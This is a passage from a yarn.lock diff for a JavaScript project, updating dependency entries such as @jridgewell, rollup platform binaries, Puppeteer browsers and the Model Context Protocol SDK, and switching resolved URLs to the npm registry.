-"@jridgewell/sourcemap-codec@^1.4.14", "@jridgewell/sourcemap-codec@^1.4.15":
-  version "1.4.15"
-  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz#d7c6e6755c78567a951e04ab52ef0fd26de59f32"
-  integrity sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==
+"@jridgewell/sourcemap-codec@^1.5.0":
+  version "1.5.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz#6912b00d2c631c0d15ce1a7ab57cd657f2a8f8ba"
+  integrity sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==
 
 "@jridgewell/trace-mapping@0.3.9":
   version "0.3.9"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz#6534fd5933a53ba7cbf3a17615e273a0d1273ff9"
+  resolved "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz"
   integrity sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==
   dependencies:
     "@jridgewell/resolve-uri" "^3.0.3"
     "@jridgewell/sourcemap-codec" "^1.4.10"
 
-"@jridgewell/trace-mapping@^0.3.12", "@jridgewell/trace-mapping@^0.3.15", "@jridgewell/trace-mapping@^0.3.9":
-  version "0.3.15"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz#aba35c48a38d3fd84b37e66c9c0423f9744f9774"
-  integrity sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==
+"@jridgewell/trace-mapping@^0.3.12", "@jridgewell/trace-mapping@^0.3.15", "@jridgewell/trace-mapping@^0.3.18", "@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
+  version "0.3.25"
+  resolved "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz"
+  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
   dependencies:
-    "@jridgewell/resolve-uri" "^3.0.3"
-    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
 
 "@jridgewell/trace-mapping@^0.3.13":
   version "0.3.18"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz#25783b2086daf6ff1dcb53c9249ae480e4dd4cd6"
+  resolved "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz"
   integrity sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==
   dependencies:
     "@jridgewell/resolve-uri" "3.1.0"
     "@jridgewell/sourcemap-codec" "1.4.14"
 
-"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
-  version "0.3.25"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
-  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+"@jridgewell/trace-mapping@^0.3.28":
+  version "0.3.31"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz#db15d6781c931f3a251a3dac39501c98a6082fd0"
+  integrity sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==
   dependencies:
     "@jridgewell/resolve-uri" "^3.1.0"
     "@jridgewell/sourcemap-codec" "^1.4.14"
 
-"@monaco-editor/loader@^1.3.3":
-  version "1.3.3"
-  resolved "https://registry.yarnpkg.com/@monaco-editor/loader/-/loader-1.3.3.tgz#7f1742bd3cc21c0362a46a4056317f6e5215cfca"
-  integrity sha512-6KKF4CTzcJiS8BJwtxtfyYt9shBiEv32ateQ9T4UVogwn4HM/uPo9iJd2Dmbkpz8CM6Y0PDUpjnZzCwC+eYo2Q==
-  dependencies:
-    state-local "^1.0.6"
-
-"@monaco-editor/react@^4.4.6":
-  version "4.5.1"
-  resolved "https://registry.yarnpkg.com/@monaco-editor/react/-/react-4.5.1.tgz#fbc76c692aee9a33b9ab24ae0c5f219b8f002fdb"
-  integrity sha512-NNDFdP+2HojtNhCkRfE6/D6ro6pBNihaOzMbGK84lNWzRu+CfBjwzGt4jmnqimLuqp5yE5viHS2vi+QOAnD5FQ==
-  dependencies:
-    "@monaco-editor/loader" "^1.3.3"
-
-"@next/env@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/env/-/env-13.5.6.tgz#c1148e2e1aa166614f05161ee8f77ded467062bc"
-  integrity sha512-Yac/bV5sBGkkEXmAX5FWPS9Mmo2rthrOPRQQNfycJPkjUAUclomCPH7QFVCDQ4Mp2k2K1SSM6m0zrxYrOwtFQw==
-
-"@next/eslint-plugin-next@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/eslint-plugin-next/-/eslint-plugin-next-13.5.6.tgz#cf279b94ddc7de49af8e8957f0c3b7349bc489bf"
-  integrity sha512-ng7pU/DDsxPgT6ZPvuprxrkeew3XaRf4LAT4FabaEO/hAbvVx4P7wqnqdbTdDn1kgTvsI4tpIgT4Awn/m0bGbg==
-  dependencies:
-    glob "7.1.7"
-
-"@next/swc-darwin-arm64@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-darwin-arm64/-/swc-darwin-arm64-13.5.6.tgz#b15d139d8971360fca29be3bdd703c108c9a45fb"
-  integrity sha512-5nvXMzKtZfvcu4BhtV0KH1oGv4XEW+B+jOfmBdpFI3C7FrB/MfujRpWYSBBO64+qbW8pkZiSyQv9eiwnn5VIQA==
-
-"@next/swc-darwin-x64@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-darwin-x64/-/swc-darwin-x64-13.5.6.tgz#9c72ee31cc356cb65ce6860b658d807ff39f1578"
-  integrity sha512-6cgBfxg98oOCSr4BckWjLLgiVwlL3vlLj8hXg2b+nDgm4bC/qVXXLfpLB9FHdoDu4057hzywbxKvmYGmi7yUzA==
-
-"@next/swc-linux-arm64-gnu@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-13.5.6.tgz#59f5f66155e85380ffa26ee3d95b687a770cfeab"
-  integrity sha512-txagBbj1e1w47YQjcKgSU4rRVQ7uF29YpnlHV5xuVUsgCUf2FmyfJ3CPjZUvpIeXCJAoMCFAoGnbtX86BK7+sg==
-
-"@next/swc-linux-arm64-musl@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-13.5.6.tgz#f012518228017052736a87d69bae73e587c76ce2"
-  integrity sha512-cGd+H8amifT86ZldVJtAKDxUqeFyLWW+v2NlBULnLAdWsiuuN8TuhVBt8ZNpCqcAuoruoSWynvMWixTFcroq+Q==
-
-"@next/swc-linux-x64-gnu@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-13.5.6.tgz#339b867a7e9e7ee727a700b496b269033d820df4"
-  integrity sha512-Mc2b4xiIWKXIhBy2NBTwOxGD3nHLmq4keFk+d4/WL5fMsB8XdJRdtUlL87SqVCTSaf1BRuQQf1HvXZcy+rq3Nw==
-
-"@next/swc-linux-x64-musl@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-13.5.6.tgz#ae0ae84d058df758675830bcf70ca1846f1028f2"
-  integrity sha512-CFHvP9Qz98NruJiUnCe61O6GveKKHpJLloXbDSWRhqhkJdZD2zU5hG+gtVJR//tyW897izuHpM6Gtf6+sNgJPQ==
-
-"@next/swc-win32-arm64-msvc@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-13.5.6.tgz#a5cc0c16920485a929a17495064671374fdbc661"
-  integrity sha512-aFv1ejfkbS7PUa1qVPwzDHjQWQtknzAZWGTKYIAaS4NMtBlk3VyA6AYn593pqNanlicewqyl2jUhQAaFV/qXsg==
-
-"@next/swc-win32-ia32-msvc@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-13.5.6.tgz#6a2409b84a2cbf34bf92fe714896455efb4191e4"
-  integrity sha512-XqqpHgEIlBHvzwG8sp/JXMFkLAfGLqkbVsyN+/Ih1mR8INb6YCc2x/Mbwi6hsAgUnqQztz8cvEbHJUbSl7RHDg==
-
-"@next/swc-win32-x64-msvc@13.5.6":
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-13.5.6.tgz#4a3e2a206251abc729339ba85f60bc0433c2865d"
-  integrity sha512-Cqfe1YmOS7k+5mGu92nl5ULkzpKuxJrP3+4AEuPmrpFZ3BHxTY3TnHmU1On3bFmFFs6FbTcdF58CCUProGpIGQ==
+"@modelcontextprotocol/sdk@^1.9.0":
+  version "1.9.0"
+  resolved "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.9.0.tgz"
+  integrity sha512-Jq2EUCQpe0iyO5FGpzVYDNFR6oR53AIrwph9yWl7uSc7IWUMsrmpmSaTGra5hQNunXpM+9oit85p924jWuHzUA==
+  dependencies:
+    content-type "^1.0.5"
+    cors "^2.8.5"
+    cross-spawn "^7.0.3"
+    eventsource "^3.0.2"
+    express "^5.0.1"
+    express-rate-limit "^7.5.0"
+    pkce-challenge "^5.0.0"
+    raw-body "^3.0.0"
+    zod "^3.23.8"
+    zod-to-json-schema "^3.24.1"
 
 "@nodelib/fs.scandir@2.1.5":
   version "2.1.5"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
+  resolved "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz"
   integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
   dependencies:
     "@nodelib/fs.stat" "2.0.5"
@@ -2622,12 +2854,12 @@
 
 "@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
   version "2.0.5"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
+  resolved "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz"
   integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
 
 "@nodelib/fs.walk@^1.2.3", "@nodelib/fs.walk@^1.2.8":
   version "1.2.8"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz#e95737e8bb6746ddedf69c556953494f196fe69a"
+  resolved "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz"
   integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==
   dependencies:
     "@nodelib/fs.scandir" "2.1.5"
@@ -2635,7 +2867,7 @@
 
 "@parcel/watcher@^2.1.0":
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/@parcel/watcher/-/watcher-2.1.0.tgz#5f32969362db4893922c526a842d8af7a8538545"
+  resolved "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.1.0.tgz"
   integrity sha512-8s8yYjd19pDSsBpbkOHnT6Z2+UJSuLQx61pCFM0s5wSRvKCEMDjd/cHY3/GI1szHIWbpXpsJdg3V6ISGGx9xDw==
   dependencies:
     is-glob "^4.0.3"
@@ -2645,239 +2877,193 @@
 
 "@pkgjs/parseargs@^0.11.0":
   version "0.11.0"
-  resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
+  resolved "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz"
   integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
 
-"@pkgr/utils@^2.3.1":
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/@pkgr/utils/-/utils-2.4.1.tgz#adf291d0357834c410ce80af16e711b56c7b1cd3"
-  integrity sha512-JOqwkgFEyi+OROIyq7l4Jy28h/WwhDnG/cPkXG2Z1iFbubB6jsHW1NDvmyOzTBxHr3yg68YGirmh1JUgMqa+9w==
-  dependencies:
-    cross-spawn "^7.0.3"
-    fast-glob "^3.2.12"
-    is-glob "^4.0.3"
-    open "^9.1.0"
-    picocolors "^1.0.0"
-    tslib "^2.5.0"
-
-"@playwright/test@^1.42.1":
-  version "1.42.1"
-  resolved "https://registry.yarnpkg.com/@playwright/test/-/test-1.42.1.tgz#9eff7417bcaa770e9e9a00439e078284b301f31c"
-  integrity sha512-Gq9rmS54mjBL/7/MvBaNOBwbfnh7beHvS6oS4srqXFcQHpQCV1+c8JXWE8VLPyRDhgS3H8x8A7hztqI9VnwrAQ==
-  dependencies:
-    playwright "1.42.1"
-
-"@rollup/plugin-commonjs@^25.0.7":
-  version "25.0.7"
-  resolved "https://registry.yarnpkg.com/@rollup/plugin-commonjs/-/plugin-commonjs-25.0.7.tgz#145cec7589ad952171aeb6a585bbeabd0fd3b4cf"
-  integrity sha512-nEvcR+LRjEjsaSsc4x3XZfCCvZIaSMenZu/OiwOKGN2UhQpAYI7ru7czFvyWbErlpoGjnSX3D5Ch5FcMA3kRWQ==
-  dependencies:
-    "@rollup/pluginutils" "^5.0.1"
-    commondir "^1.0.1"
-    estree-walker "^2.0.2"
-    glob "^8.0.3"
-    is-reference "1.2.1"
-    magic-string "^0.30.3"
-
-"@rollup/plugin-json@^6.1.0":
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/@rollup/plugin-json/-/plugin-json-6.1.0.tgz#fbe784e29682e9bb6dee28ea75a1a83702e7b805"
-  integrity sha512-EGI2te5ENk1coGeADSIwZ7G2Q8CJS2sF120T7jLw4xFw9n7wIOXHo+kIYRAoVpJAN+kmqZSoO3Fp4JtoNF4ReA==
-  dependencies:
-    "@rollup/pluginutils" "^5.1.0"
-
-"@rollup/plugin-node-resolve@^15.2.3":
-  version "15.2.3"
-  resolved "https://registry.yarnpkg.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-15.2.3.tgz#e5e0b059bd85ca57489492f295ce88c2d4b0daf9"
-  integrity sha512-j/lym8nf5E21LwBT4Df1VD6hRO2L2iwUeUmP7litikRsVp1H6NWx20NEp0Y7su+7XGc476GnXXc4kFeZNGmaSQ==
-  dependencies:
-    "@rollup/pluginutils" "^5.0.1"
-    "@types/resolve" "1.20.2"
-    deepmerge "^4.2.2"
-    is-builtin-module "^3.2.1"
-    is-module "^1.0.0"
-    resolve "^1.22.1"
-
-"@rollup/plugin-terser@^0.4.4":
-  version "0.4.4"
-  resolved "https://registry.yarnpkg.com/@rollup/plugin-terser/-/plugin-terser-0.4.4.tgz#15dffdb3f73f121aa4fbb37e7ca6be9aeea91962"
-  integrity sha512-XHeJC5Bgvs8LfukDwWZp7yeqin6ns8RTl2B9avbejt6tZqsqvVoWI7ZTQrcNsfKEDWBTnTxM8nMDkO2IFFbd0A==
-  dependencies:
-    serialize-javascript "^6.0.1"
-    smob "^1.0.0"
-    terser "^5.17.4"
-
-"@rollup/plugin-typescript@^11.1.6":
-  version "11.1.6"
-  resolved "https://registry.yarnpkg.com/@rollup/plugin-typescript/-/plugin-typescript-11.1.6.tgz#724237d5ec12609ec01429f619d2a3e7d4d1b22b"
-  integrity sha512-R92yOmIACgYdJ7dJ97p4K69I8gg6IEHt8M7dUBxN3W6nrO8uUxX5ixl0yU/N3aZTi8WhPuICvOHXQvF6FaykAA==
-  dependencies:
-    "@rollup/pluginutils" "^5.1.0"
-    resolve "^1.22.1"
-
-"@rollup/pluginutils@^5.0.1":
-  version "5.0.4"
-  resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-5.0.4.tgz#74f808f9053d33bafec0cc98e7b835c9667d32ba"
-  integrity sha512-0KJnIoRI8A+a1dqOYLxH8vBf8bphDmty5QvIm2hqm7oFCFYKCAZWWd2hXgMibaPsNDhI0AtpYfQZJG47pt/k4g==
-  dependencies:
-    "@types/estree" "^1.0.0"
-    estree-walker "^2.0.2"
-    picomatch "^2.3.1"
-
-"@rollup/pluginutils@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-5.1.0.tgz#7e53eddc8c7f483a4ad0b94afb1f7f5fd3c771e0"
-  integrity sha512-XTIWOPPcpvyKI6L1NHo0lFlCyznUEyPmPY1mc3KpPVDYulHSTvyeLNVW00QTLIAFNhR3kYnJTQHeGqU4M3n09g==
+"@puppeteer/browsers@2.10.2":
+  version "2.10.2"
+  resolved "https://registry.npmjs.org/@puppeteer/browsers/-/browsers-2.10.2.tgz"
+  integrity sha512-i4Ez+s9oRWQbNjtI/3+jxr7OH508mjAKvza0ekPJem0ZtmsYHP3B5dq62+IaBHKaGCOuqJxXzvFLUhJvQ6jtsQ==
+  dependencies:
+    debug "^4.4.0"
+    extract-zip "^2.0.1"
+    progress "^2.0.3"
+    proxy-agent "^6.5.0"
+    semver "^7.7.1"
+    tar-fs "^3.0.8"
+    yargs "^17.7.2"
+
+"@rollup/rollup-android-arm-eabi@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.34.9.tgz#661a45a4709c70e59e596ec78daa9cb8b8d27604"
+  integrity sha512-qZdlImWXur0CFakn2BJ2znJOdqYZKiedEPEVNTBrpfPjc/YuTGcaYZcdmNFTkUj3DU0ZM/AElcM8Ybww3xVLzA==
+
+"@rollup/rollup-android-arm64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.34.9.tgz#128fe8dd510d880cf98b4cb6c7add326815a0c4b"
+  integrity sha512-4KW7P53h6HtJf5Y608T1ISKvNIYLWRKMvfnG0c44M6In4DQVU58HZFEVhWINDZKp7FZps98G3gxwC1sb0wXUUg==
+
+"@rollup/rollup-darwin-arm64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.34.9.tgz"
+  integrity sha512-0CY3/K54slrzLDjOA7TOjN1NuLKERBgk9nY5V34mhmuu673YNb+7ghaDUs6N0ujXR7fz5XaS5Aa6d2TNxZd0OQ==
+
+"@rollup/rollup-darwin-x64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.34.9.tgz#c2fe3d85fffe47f0ed0f076b3563ada22c8af19c"
+  integrity sha512-eOojSEAi/acnsJVYRxnMkPFqcxSMFfrw7r2iD9Q32SGkb/Q9FpUY1UlAu1DH9T7j++gZ0lHjnm4OyH2vCI7l7Q==
+
+"@rollup/rollup-freebsd-arm64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.34.9.tgz#d95bd8f6eaaf829781144fc8bd2d5d71d9f6a9f5"
+  integrity sha512-2lzjQPJbN5UnHm7bHIUKFMulGTQwdvOkouJDpPysJS+QFBGDJqcfh+CxxtG23Ik/9tEvnebQiylYoazFMAgrYw==
+
+"@rollup/rollup-freebsd-x64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.34.9.tgz#c3576c6011656e4966ded29f051edec636b44564"
+  integrity sha512-SLl0hi2Ah2H7xQYd6Qaiu01kFPzQ+hqvdYSoOtHYg/zCIFs6t8sV95kaoqjzjFwuYQLtOI0RZre/Ke0nPaQV+g==
+
+"@rollup/rollup-linux-arm-gnueabihf@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.34.9.tgz#48c87d0dee4f8dc9591a416717f91b4a89d77e3d"
+  integrity sha512-88I+D3TeKItrw+Y/2ud4Tw0+3CxQ2kLgu3QvrogZ0OfkmX/DEppehus7L3TS2Q4lpB+hYyxhkQiYPJ6Mf5/dPg==
+
+"@rollup/rollup-linux-arm-musleabihf@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.34.9.tgz#f4c4e7c03a7767f2e5aa9d0c5cfbf5c0f59f2d41"
+  integrity sha512-3qyfWljSFHi9zH0KgtEPG4cBXHDFhwD8kwg6xLfHQ0IWuH9crp005GfoUUh/6w9/FWGBwEHg3lxK1iHRN1MFlA==
+
+"@rollup/rollup-linux-arm64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.34.9.tgz#1015c9d07a99005025d13b8622b7600029d0b52f"
+  integrity sha512-6TZjPHjKZUQKmVKMUowF3ewHxctrRR09eYyvT5eFv8w/fXarEra83A2mHTVJLA5xU91aCNOUnM+DWFMSbQ0Nxw==
+
+"@rollup/rollup-linux-arm64-musl@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.34.9.tgz#8f895eb5577748fc75af21beae32439626e0a14c"
+  integrity sha512-LD2fytxZJZ6xzOKnMbIpgzFOuIKlxVOpiMAXawsAZ2mHBPEYOnLRK5TTEsID6z4eM23DuO88X0Tq1mErHMVq0A==
+
+"@rollup/rollup-linux-loongarch64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.34.9.tgz#c9cd5dbbdc6b3ca4dbeeb0337498cf31949004a0"
+  integrity sha512-dRAgTfDsn0TE0HI6cmo13hemKpVHOEyeciGtvlBTkpx/F65kTvShtY/EVyZEIfxFkV5JJTuQ9tP5HGBS0hfxIg==
+
+"@rollup/rollup-linux-powerpc64le-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.34.9.tgz#7ebb5b4441faa17843a210f7d0583a20c93b40e4"
+  integrity sha512-PHcNOAEhkoMSQtMf+rJofwisZqaU8iQ8EaSps58f5HYll9EAY5BSErCZ8qBDMVbq88h4UxaNPlbrKqfWP8RfJA==
+
+"@rollup/rollup-linux-riscv64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.34.9.tgz#10f5d7349fbd2fe78f9e36ecc90aab3154435c8d"
+  integrity sha512-Z2i0Uy5G96KBYKjeQFKbbsB54xFOL5/y1P5wNBsbXB8yE+At3oh0DVMjQVzCJRJSfReiB2tX8T6HUFZ2k8iaKg==
+
+"@rollup/rollup-linux-s390x-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.34.9.tgz#196347d2fa20593ab09d0b7e2589fb69bdf742c6"
+  integrity sha512-U+5SwTMoeYXoDzJX5dhDTxRltSrIax8KWwfaaYcynuJw8mT33W7oOgz0a+AaXtGuvhzTr2tVKh5UO8GVANTxyQ==
+
+"@rollup/rollup-linux-x64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.34.9.tgz#7193cbd8d128212b8acda37e01b39d9e96259ef8"
+  integrity sha512-FwBHNSOjUTQLP4MG7y6rR6qbGw4MFeQnIBrMe161QGaQoBQLqSUEKlHIiVgF3g/mb3lxlxzJOpIBhaP+C+KP2A==
+
+"@rollup/rollup-linux-x64-musl@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.34.9.tgz#29a6867278ca0420b891574cfab98ecad70c59d1"
+  integrity sha512-cYRpV4650z2I3/s6+5/LONkjIz8MBeqrk+vPXV10ORBnshpn8S32bPqQ2Utv39jCiDcO2eJTuSlPXpnvmaIgRA==
+
+"@rollup/rollup-win32-arm64-msvc@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.34.9.tgz#89427dcac0c8e3a6d32b13a03a296a275d0de9a9"
+  integrity sha512-z4mQK9dAN6byRA/vsSgQiPeuO63wdiDxZ9yg9iyX2QTzKuQM7T4xlBoeUP/J8uiFkqxkcWndWi+W7bXdPbt27Q==
+
+"@rollup/rollup-win32-ia32-msvc@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.34.9.tgz#ecb9711ba2b6d2bf6ee51265abe057ab90913deb"
+  integrity sha512-KB48mPtaoHy1AwDNkAJfHXvHp24H0ryZog28spEs0V48l3H1fr4i37tiyHsgKZJnCmvxsbATdZGBpbmxTE3a9w==
+
+"@rollup/rollup-win32-x64-msvc@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.34.9.tgz#1973871850856ae72bc678aeb066ab952330e923"
+  integrity sha512-AyleYRPU7+rgkMWbEh71fQlrzRfeP6SyMnRf9XX4fCdDPAJumdSBqYEcWPMzVQ4ScAl7E4oFfK0GUVn77xSwbw==
+
+"@selderee/plugin-htmlparser2@^0.11.0":
+  version "0.11.0"
+  resolved "https://registry.npmjs.org/@selderee/plugin-htmlparser2/-/plugin-htmlparser2-0.11.0.tgz"
+  integrity sha512-P33hHGdldxGabLFjPPpaTxVolMrzrcegejx+0GxjrIb9Zv48D8yAIA/QTDR2dFl7Uz7urX8aX6+5bCZslr+gWQ==
   dependencies:
-    "@types/estree" "^1.0.0"
-    estree-walker "^2.0.2"
-    picomatch "^2.3.1"
-
-"@rollup/rollup-android-arm-eabi@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.13.2.tgz#fbf098f49d96a8cac9056f22f5fd80906ef3af85"
-  integrity sha512-3XFIDKWMFZrMnao1mJhnOT1h2g0169Os848NhhmGweEcfJ4rCi+3yMCOLG4zA61rbJdkcrM/DjVZm9Hg5p5w7g==
-
-"@rollup/rollup-android-arm64@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.13.2.tgz#0d2448251040fce19a98eee505dff5b3c8ec9b98"
-  integrity sha512-GdxxXbAuM7Y/YQM9/TwwP+L0omeE/lJAR1J+olu36c3LqqZEBdsIWeQ91KBe6nxwOnb06Xh7JS2U5ooWU5/LgQ==
-
-"@rollup/rollup-darwin-arm64@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.13.2.tgz#78db4d4da5b1b84c22adbe25c8a4961b3f22d3af"
-  integrity sha512-mCMlpzlBgOTdaFs83I4XRr8wNPveJiJX1RLfv4hggyIVhfB5mJfN4P8Z6yKh+oE4Luz+qq1P3kVdWrCKcMYrrA==
-
-"@rollup/rollup-darwin-x64@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.13.2.tgz#fcc05af54379f8ee5c7e954987d4514c6fd0fb42"
-  integrity sha512-yUoEvnH0FBef/NbB1u6d3HNGyruAKnN74LrPAfDQL3O32e3k3OSfLrPgSJmgb3PJrBZWfPyt6m4ZhAFa2nZp2A==
-
-"@rollup/rollup-linux-arm-gnueabihf@4.13.2":
